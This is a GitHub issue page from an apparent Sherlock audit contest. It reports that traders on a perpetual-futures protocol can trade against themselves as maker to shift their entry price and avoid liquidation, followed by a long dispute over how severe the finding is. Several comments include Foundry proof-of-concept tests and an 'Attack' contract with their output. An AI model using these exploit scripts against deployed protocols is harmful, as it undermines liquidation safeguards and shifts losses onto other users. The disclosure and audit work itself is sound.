-
Notifications
You must be signed in to change notification settings - Fork 1
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
neon2835 - Users can avoid the possibility of liquidation #112
Comments
1 comment(s) were left on this issue during the judging contest. takarez commented:
|
The protocol team fixed this issue in the following PRs/commits: |
Escalate Informational/Low While it might be a good idea to prevent self trades in general, this finding has nothing to do with evading liquidations without adding margin: I'll use the POC presented in the finding (test_avoidLiquidation) to demonstrate: Here is what is actually happening there: A long position of size 10 is opened at the market price (150), Then the trader opens a long position of size 10.5 with a price of 142.8 (1500/10.5) with themselves as the maker. Because ClearingHouse first clears the maker, first the original position is closed at a loss (short 10 with price 142.8), then a short of 0.5 is opened (with the same price), next the taker is settled, closing the 0.5 short and opening a long of size 10 (at price 142.8). Since all PnL is realized by the end, the trader's loses ~72.5$ in the process. To see this, add these lines in the POC test function test_avoidLiquidation before and after the self-trade (change the margDec name the second time): int256 margDec = vault.getMargin(marketId,address(taker)); To simulate the actual situation the finding describes (that this method can be used to avoid liquidation when the user is close to being liquidated) change the tested price in the POC from 109 to 112 (8% liquidation rate), call _mockPythPrice(112, 0); before the self trade (to simulate a price drop bringing the trader close to liquidation), and change the self-trade amount to amount: 1117 ether (for a position price of 112*0.95=106.5). The self trade fails with NotEnoughFreeCollateral (because the loss in this case is greater). |
You've created a valid escalation! To remove the escalation from consideration: Delete your comment. You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final. |
@paco0x @CheshireCatNick @lnxrp @vinta Could you take a look at the above comment? IIRC this is a major risk to you guys based on previous discussions. |
After rerun the test with the suggestions given by @nirohgo, I think he's point is valid. When the external price is very close to the liquidation price, user is unable to perform the trade in the test (revert by NotEnoughFreeCollatera). So it's not possible to avoid liquidation without close position if the external price is already very close to the liquidation price. But this issue still give an example of how can a trader improve his margin ratio and increase the free collateral by trading against himself. So we still think it's valid and suggest a medium level severity. |
@paco0x // set price -> 193.76e18
@> maker.setBaseToQuotePrice(193.76e18);
@> _mockPythPrice(19376, -2);
// Unable to liquidate
@> assertEq(clearingHouse.isLiquidatable(marketId, attacker, 193.76e18), false);
// set price -> 50e18
@> maker.setBaseToQuotePrice(100e18);
@> _mockPythPrice(100, 0); Even if the price returns to the opening price, the position can be closed without loss. |
Yes, I understand that it can postpone liquidation by increasing the margin ratio, @nirohgo's point is that you can only do this if the external price is much higher than the liquidation price. To sum up: users can intentionally raise or lower the liquidation price, in a direction that is more favorable to them, thereby increasing the risk of the liquidation system, but there is not much room for this liquidation price improvement. We confirm it's a valid issue but not sure about the severity level, better to let the judge decide the final result. |
I believe it should be medium, since the it's a valid issue (as confirmed by the sponsor) but with certain constraints expressed in the discussion above. The escalation suggested low/info severity, hence I'm planning to reject the escalation, but downgrade the severity to medium. |
Please allow me, because this is my first time participating in Sherlock, can I still defend myself now? |
Yes, if you've got any points to defend yourself and keep high severity, please provide any info/arguments. |
Although the amount that can be postponed is limited, if the winning rate is calculated with a probability of 5:5, then this seemingly subtle percentage actually has a huge impact. You must know that in baccarat, the banker's probability of winning is 45.8%, which is slightly higher than the player's 44.6% probability of winning. The probability of a draw is only 9.6%. This subtle advantage is the key to victory or defeat. 🫡 |
In my opinion, when there is a vulnerability, it depends on how to use it. In fact, you don't have to wait until the price is about to reach the threshold of liquidation before starting to trade with yourself. Anyone can immediately trade with themselves after opening a position to improve the utilization of margin. function test_canLiqudated() public{
vm.startPrank(taker);
_mockPythPrice(150, 0);
// taker long ether with 1500 usd
clearingHouse.openPosition(
IClearingHouse.OpenPositionParams({
marketId: marketId,
maker: address(maker),
isBaseToQuote: false,
isExactInput: true,
amount: 1500 ether,
oppositeAmountBound: 10 ether,
deadline: block.timestamp,
makerData: makerData
})
);
uint price = 109 * 1e18; //The price that make users to be liquidated
_mockPythPrice(109, 0);
console.log("---------------- test_canLiqudated ------------------- ");
console.log("isLiquidatable", clearingHouse.isLiquidatable(marketId, taker, price));
vm.stopPrank();
}
function test_canNotLiqudated() public{
vm.startPrank(taker);
_mockPythPrice(150, 0);
// taker long ether with 1500 usd
clearingHouse.openPosition(
IClearingHouse.OpenPositionParams({
marketId: marketId,
maker: address(maker),
isBaseToQuote: false,
isExactInput: true,
amount: 1500 ether,
oppositeAmountBound: 10 ether,
deadline: block.timestamp,
makerData: makerData
})
);
// please note anyone can do. NO constraints here.
// taker trade with himself
clearingHouse.openPosition(
IClearingHouse.OpenPositionParams({
marketId: marketId,
maker: address(taker), //NOTE maker equel taker
isBaseToQuote: false,
isExactInput: true,
amount: 1500 ether,
oppositeAmountBound: 10 ether,
deadline: block.timestamp,
makerData: abi.encode(MakerOrder({
amount: 10.5 ether //NOTE suppose 5% band
}))
})
);
uint price = 109 * 1e18; //The price that make users to be liquidated
_mockPythPrice(109, 0);
console.log("---------------- test_canNotLiqudated ------------------- ");
console.log("isLiquidatable", clearingHouse.isLiquidatable(marketId, taker, price));
vm.stopPrank();
} run: forge test --match-path test/clearingHouse/MyTest.t.sol --match-test test_canLiqudated -vvv
Ran 1 test for test/clearingHouse/MyTest.t.sol:MyTest
[PASS] test_canLiqudated() (gas: 768867)
Logs:
---------------- test_canLiqudated -------------------
isLiquidatable true forge test --match-path test/clearingHouse/MyTest.t.sol --match-test test_canNotLiqudated -vvv
Ran 1 test for test/clearingHouse/MyTest.t.sol:MyTest
[PASS] test_canNotLiqudated() (gas: 999226)
Logs:
---------------- test_canNotLiqudated -------------------
isLiquidatable false
In addition, let's look at the definition of high issue in the sherlock documentation:
Obviously, this vulnerability meets the first description in the document:
In summary, this vulnerability should be kept as a high issue. |
you don't have to wait until the price is about to reach the threshold of liquidation before starting to trade with yourself. Anyone can immediately trade with themselves after opening a position to improve the utilization of margin. contract Attack {
IClearingHouse target;
constructor(address _target) {
target = IClearingHouse(_target);
}
function openPosition(uint256 marketId, address maker, uint256 amount) public {
bytes memory makerData = abi.encode(IClearingHouse.MakerOrder({ amount: (amount * 95) / 100 }));
target.openPosition(
IClearingHouse.OpenPositionParams({
marketId: marketId,
maker: address(maker),
isBaseToQuote: true,
isExactInput: true,
amount: 1 ether,
oppositeAmountBound: amount,
deadline: block.timestamp,
makerData: ""
})
);
target.closePosition(
IClearingHouse.ClosePositionParams({
marketId: marketId,
maker: address(this),
oppositeAmountBound: type(uint256).max,
deadline: block.timestamp,
makerData: makerData
})
);
}
function closePosition(uint256 marketId, address maker, uint256 amount) public {
target.openPosition(
IClearingHouse.OpenPositionParams({
marketId: marketId,
maker: address(maker),
isBaseToQuote: false,
isExactInput: false,
amount: 1 ether,
oppositeAmountBound: amount,
deadline: block.timestamp,
makerData: ""
})
);
}
}
// attack contract
function testModifyAccountMarginRatioContract() public {
// init user
address user = makeAddr("user");
uint256 startCollateralToken = 100e6;
// deploy attack contract
Attack attack = new Attack(address(clearingHouse));
_deposit(marketId, address(attack), startCollateralToken);
_deposit(marketId, address(user), startCollateralToken);
// set PriceBandRatio -> 10%
config.setPriceBandRatio(marketId, 0.05 ether);
// set price -> 100e18
maker.setBaseToQuotePrice(100e18);
_mockPythPrice(100, 0);
// user openPosition
vm.prank(user);
clearingHouse.openPosition(
IClearingHouse.OpenPositionParams({
marketId: marketId,
maker: address(maker),
isBaseToQuote: true,
isExactInput: true,
amount: 1 ether,
oppositeAmountBound: 100 ether,
deadline: block.timestamp,
makerData: ""
})
);
// attack contract openPosition
attack.openPosition(marketId, address(maker), 100 ether);
assertEq(clearingHouse.isLiquidatable(marketId, user, 193.76e18), true);
assertEq(clearingHouse.isLiquidatable(marketId, address(attack), 193.76e18), false);
console.log("user isLiquidatable()",clearingHouse.isLiquidatable(marketId, user, 193.76e18));
console.log("attack isLiquidatable()",clearingHouse.isLiquidatable(marketId, address(attack), 193.76e18));
}
// [PASS] testModifyAccountMarginRatioContract() (gas: 2232055)
// Logs:
// user isLiquidatable() true
// attack isLiquidatable() false |
The sponsor acknowledges that allowlisted makers may still be able to exploit this issue |
The Lead Senior Watson signed off on the fix. |
@oxneon I agree that this can happen before reaching the liquidation threshold and it's not the problem we discussed here. The constraint that leads to it being a medium is that the trader can do that only if the external price is much higher than the liquidation price (here). I.e. the trader can indeed improve the utilization of margin but not near the liquidation. Hence, the medium is appropriate cause it requires specific states (external price has to be much higher than the liquidation price). If you disagree with it, the PoC for such scenario will help. Otherwise, planning to reject the escalation, but downgrade to medium (since the escalation asked Low/info severity). |
How to get two different external prices in one function call? |
@WangSecurity I don't understand. The scenario I added is to illustrate that external prices have nothing to do with the exploitation of vulnerabilities, because external prices must be much higher than the liquidation price when opening a position for the first time (initial margin utilization = 10%, margin utilization to reach the liquidation threshold = 6.25%). I think if this is also a restriction condition, then according to this standard, no report is qualified to become a high issue, because all reports have restrictions, such as: the attacker must be human (gorillas are not smart enough), he must have a computer, his computer network must be functioning well, the attacker has the intention to do evil, the universe has not been destroyed... etc., In summary, this vulnerability should be kept as a high issue. |
First, the vulnerability is possible and it is not the question. Second, this attack can only be executed in the start of the trade and cannot be executed when the attacker is nearing the liquidation, when the trader actually needs it. It's confirmed that the traders can improve their margin utilization, but as confirmed by the sponsor here, there is not much room for liquidation price improvement. Hence, I stand by my initial decision to reject the escalation and downgrade the issue to medium. |
@WangSecurity This is ridiculous. Me and @joicygiore have tried many times to explain to you that attackers are not stupid enough to increase their margin utilization just before being liquidated. However, you have always ignored this core argument, and you have treated it as a strong restriction condition to judge something that is 100% likely to happen. No offense but this is very unfair and unreasonable, and I think it is a double standard. Every finding requires some conditions or specific states. For example, #123 , which was accepted as High, requires that there be two offline Pyth price updates that were not reported onchain yet at that the price diff between them enables the attack. If my report is judged to be M, then #123 should also be M, otherwise it is a double standard. In order to stop the endless argument, I am seeking assistance. @Evert0x @paco0x @CheshireCatNick @lnxrp @vinta Could you kindly review the discussion that follows with @joicygiore ? which is : here here here . I'd be most grateful. |
This PoC shows the 98 case (uses 95 instead). Changing |
1.I don't really know Neon's poc. Because only he himself is the clearest thinker about the basic idea of his setup. I think he should be able to answer your question. This is indeed beyond my POC and my thinking. Please understand. ////////////////////////////////////
/////// normal circumstances ///////
////////////////////////////////////
// 100e18 -> 193.76e18
// margin ratio < 6.25%
assertEq(vault.getMarginRatio(marketId, attacker, 193.76e18), 6.24e16);
// can be liquidated
@> assertEq(clearingHouse.isLiquidatable(marketId, attacker, 193.76e18), true);
/////////////////////////////////////
/// Attackers trade on their own ////
/////////////////////////////////////
// after transaction attacker closePosition in self and set makerData
bytes memory makerData = abi.encode(IClearingHouse.MakerOrder({ amount: 95 ether }));
// if price band ratio == 0
// for (uint256 i = 0; i < 5; ++i) {
clearingHouse.closePosition(
IClearingHouse.ClosePositionParams({
marketId: marketId,
maker: address(attacker),
oppositeAmountBound: type(uint256).max,
deadline: block.timestamp,
makerData: makerData
})
);
// }
//////////////////////////////////
///Unable to liquidate normally///
//////////////////////////////////
// set price -> 193.76e18
maker.setBaseToQuotePrice(193.76e18);
_mockPythPrice(19376, -2);
// Unable to liquidate
@> assertEq(clearingHouse.isLiquidatable(marketId, attacker, 193.76e18), false); |
Simply put, as long as your margin is enough, no one can liquidate you. You just need to wait for it to return to your expected closing price. |
I really don’t quite understand what you mean by 102. This is not my idea, so I don’t know how to explain this issue to you. Below is my original content #61 |
If I've missed anything, please feel free to tell me. |
I don’t quite understand the implementation logic of 102, so it’s normal that it can’t be used in my POC,thanks for understanding |
Thank you for these responses!
This is just an arbitrary exmple to clarify if there's something I'm missing.
Totally understand, the thing that is not clear for me, the transaction in this piece of the test is to close the position. Hence, yes it's liquidatable before closing the position, but after you closed the position it's not, which is completely logical. What I don't see is where is the self trade? I see that the maker is the attacker address, but it only closes the position, and it's logical the closed position cannot be closed. Do I miss where you open the second trade? Also, as I understand, you don't disagree with this assumption. I see your comment:
But it doesn't agree or disagree with my assumption that the attacker cannot be liquidated cause the entry price of the second trade is lower than the first one, not cause they trade with themselves. And I've got another question to any watson who wish to answer (@joicygiore @IllIllI000) if in that case, the only reason for having better margin utilisation is opening the second trade at a lower price, then it doesn't matter if they trade with themselves? In that case the attacker shouldn't put themselves as the maker, and they can open the second trade using the same maker as for the first trade and achieve the same result. Correct? |
For your followup question, the first trade's maker in the thought experiment will be the OM, the SHBM, or another account. The OM uses the Pyth oracle for the price, so they can't do it there because that's a fixed price that they cannot control. The SHBM uses uniswap, so unless they skew the pool, they can't choose a price there either. They can do the same thing by trading with another account (e.g. their own other account), assuming that other account made the original trade (i.e. at price of 100) so that the account has shares to provide as the maker. |
He must trade as a maker in order to control the makerData parameters and increase the margin rate. The // after transaction attacker closePosition in self and set makerData
bytes memory makerData = abi.encode(IClearingHouse.MakerOrder({ amount: 95 ether }));
// if price band ratio == 0
// for (uint256 i = 0; i < 5; ++i) {
clearingHouse.openPosition(
IClearingHouse.OpenPositionParams({
marketId: marketId,
maker: address(attacker),
isBaseToQuote: false,
isExactInput: false,
amount: 1 ether,
oppositeAmountBound: 100 ether,
deadline: block.timestamp,
makerData: makerData
})
);
// clearingHouse.closePosition( [PASS] testModifyAccountMarginRatio() (gas: 1596049) The attacker controls the value of result.quote or result.base through makerData. } else {
// quote to exactOutput(base), Q2B base+ quote-
result.base = params.amount.toInt256();
@> result.quote = -oppositeAmount.toInt256();
}
}
_checkPriceBand(params.marketId, result.quote.abs().divWad(result.base.abs())); |
Sir, I looked at the code again. In my memory, self-transaction must be used to pass the series of checks in the source code below to complete the parameter control of makeData. So self-dealing is a must https://github.com/sherlock-audit/2024-02-perpetual/blob/02f17e70a23da5d71364268ccf7ed9ee7cedf428/perp-contract-v3/src/authorization/AuthorizationUpgradeable.sol#L55-L57 |
Hello, gentlemen. I relearned Neon's code. I think I found the reason for the difference in the POC code. Please see the source code of @> if (params.isExactInput) {
_checkExactInputSlippage(oppositeAmount, params.oppositeAmountBound);
@> if (params.isBaseToQuote) {
// exactInput(base) to quote, B2Q base- quote+
@> result.base = -params.amount.toInt256();
@> result.quote = oppositeAmount.toInt256();
@> } else {
// exactInput(quote) to base, Q2B base+ quote-
@> result.base = oppositeAmount.toInt256();
@> result.quote = -params.amount.toInt256();
}
@> } else {
_checkExactOutputSlippage(oppositeAmount, params.oppositeAmountBound);
@> if (params.isBaseToQuote) {
// base to exactOutput(quote), B2Q base- quote+
@> result.base = -oppositeAmount.toInt256();
@> result.quote = params.amount.toInt256();
} else {
@> result.base = params.amount.toInt256(); // 1e18
@> result.quote = -oppositeAmount.toInt256(); // 1e18
}
} |
Thank you for these responses both @joicygiore and @IllIllI000. I believe the assumption I made earlier is correct: If there are two traders (regular user and the attacker) and both open the identical long trade (for comparison) at price 100. Both should be invalid at 50, but the attacker opens up a second long trade after that. They use themselves as a maker which allows them to bypass important checks and control the open price of the second trade. The problem here is that for second trade is lower, e.g. 95 (as in one of the POCs). Hence, they lose some margin, cause the first trade was also closed at 95. Besides that, cause the open price is lower, their utilisation rate at 50 also better than for the another user, who just held the initial position. It leads to the situation where the attacker is not liquidatable at 50, but the user is. The only reason is that the average entry price of the second trade for the attacker is lower, and the code works exactly as it should. I agree this vulnerability allows for unauthorized actions, but I don't see any impact from it. Hence, I believe low/info severity is indeed appropriate for this issue. Planning to accept the escalation and invalidate this issue (and it's duplicates). |
@WangSecurity First of all, this issue is confirmed and fixed by the sponsor. The sponsor's recommendation is medium. |
@joicygiore Sponsor's words, decisions, fixes doesn't effect neither validity nor severity of the issue. If you genuinely disagree with my decision, then please tell me where this assumption is wrong, otherwise, it's low/info:
|
I can't understand where your second transaction came from. I can only tell you that without the first transaction, it is impossible to generate any orders from your own transaction, and you cannot modify the parameters. You can try it, okay? The most important thing is that you are happy, nothing else matters |
Thank you for patiently listening to my nonsense for so many days. I'm sorry for wasting your time. I'm sorry. |
If you use the Because it doesn't cause any harm at all, right? |
Let’s take another simple example to compare self-dealing. You have 1,000 ether, and you use your left hand and your right hand to roll dice to compare the sizes for a gambling game. If you play this game ten million times, you still have 1,000 ether, and there will be no change. Self-trading itself is meaningless, it is just an entrance to modify parameters. If you have enough time, you can even play until the earth is destroyed. 1000 is still 1000. |
thanks @paco0x @IllIllI000 @WangSecurity @joicygiore . Just finished my vacation, please give me some time to review all the comments I missed. |
Finally, you have shown up |
Sorry, International Labor Day has been off for five days and I just returned to work today. If I have offended anyone before, I apologize first. Please allow me some time to reread the comments I missed |
Result: |
Escalations have been resolved successfully! Escalation status:
|
neon2835
high
Users can avoid the possibility of liquidation
Summary
When the margin utilization rate of the account is lower than
maintenanceMarginRatio
, the user's account will be liquidated. Therefore, in order to avoid liquidation, users must add margin to the account to make its account value higher than themaintenance margin requirement
.However, there is a vulnerability in the system, which can improve the utilization rate of account margin without adding more additional margin, which allows users to avoid the possibility of liquidation.
Vulnerability Detail
There are two main reasons for this vulnerability:
priceBandRatio
can be set in thepriceBandRatioMap
of theconfig
contract.The
priceBandRatio
will also be different according to the risk of different markets. Take the ETH market as an example, itspriceBandRatio
is about 5% (I consulted the project personnel on the discord discussion group).Assuming that users open positions to hold long/short positions in ETH market. At this time, the user trades with himself, he can manipulate the trade price, thus manipulating the margin utilization rate of the account.
Let the code speak for itself, here's my test file:
MyTest.t.sol
, just put it in thetest/clearingHouse
directory:First, run the
test_imporveMarginRatio
function to verify whether the margin utilization rate can be improved, run:forge test --match-path test/clearingHouse/MyTest.t.sol --match-test test_imporveMarginRatio -vvv
Get the results:
We can see that with the
accountValue
unchanged, the margin utilization rate has increased from333333333333333333
to349999999999999999
. Please note that this is only whenpriceBandRatio
is equal to 5%, the greater the value ofpriceBandRatio
, the greater the margin ratio that can be increased!Then let's continue running the
test_avoidLiquidation
function, run:forge test --match-path test/clearingHouse/MyTest.t.sol --match-test test_avoidLiquidation -vvv
Get the results:
Through the test results, it is found that the account should have met the conditions for liquidation, and by constructing its own transactions with itself, it can not be liquidated any more.
Impact
By trading with themselves, users can improve their margin utilization without adding additional margin, which allows users to avoid the possibility of liquidation
Code Snippet
Although the code snippet that caused the vulnerability is complex, the main reason is in the
_openPosition
function of theClearingHouse
contract:https://github.com/sherlock-audit/2024-02-perpetual/blob/main/perp-contract-v3/src/clearingHouse/ClearingHouse.sol#L267-L356
Tool used
Manual Review
Foundry Vscode
Recommendation
Forcibly restrict users from trading with their own accounts.
Add judgment conditions to the
_openPosition
function of theClearingHouse
contract:The text was updated successfully, but these errors were encountered: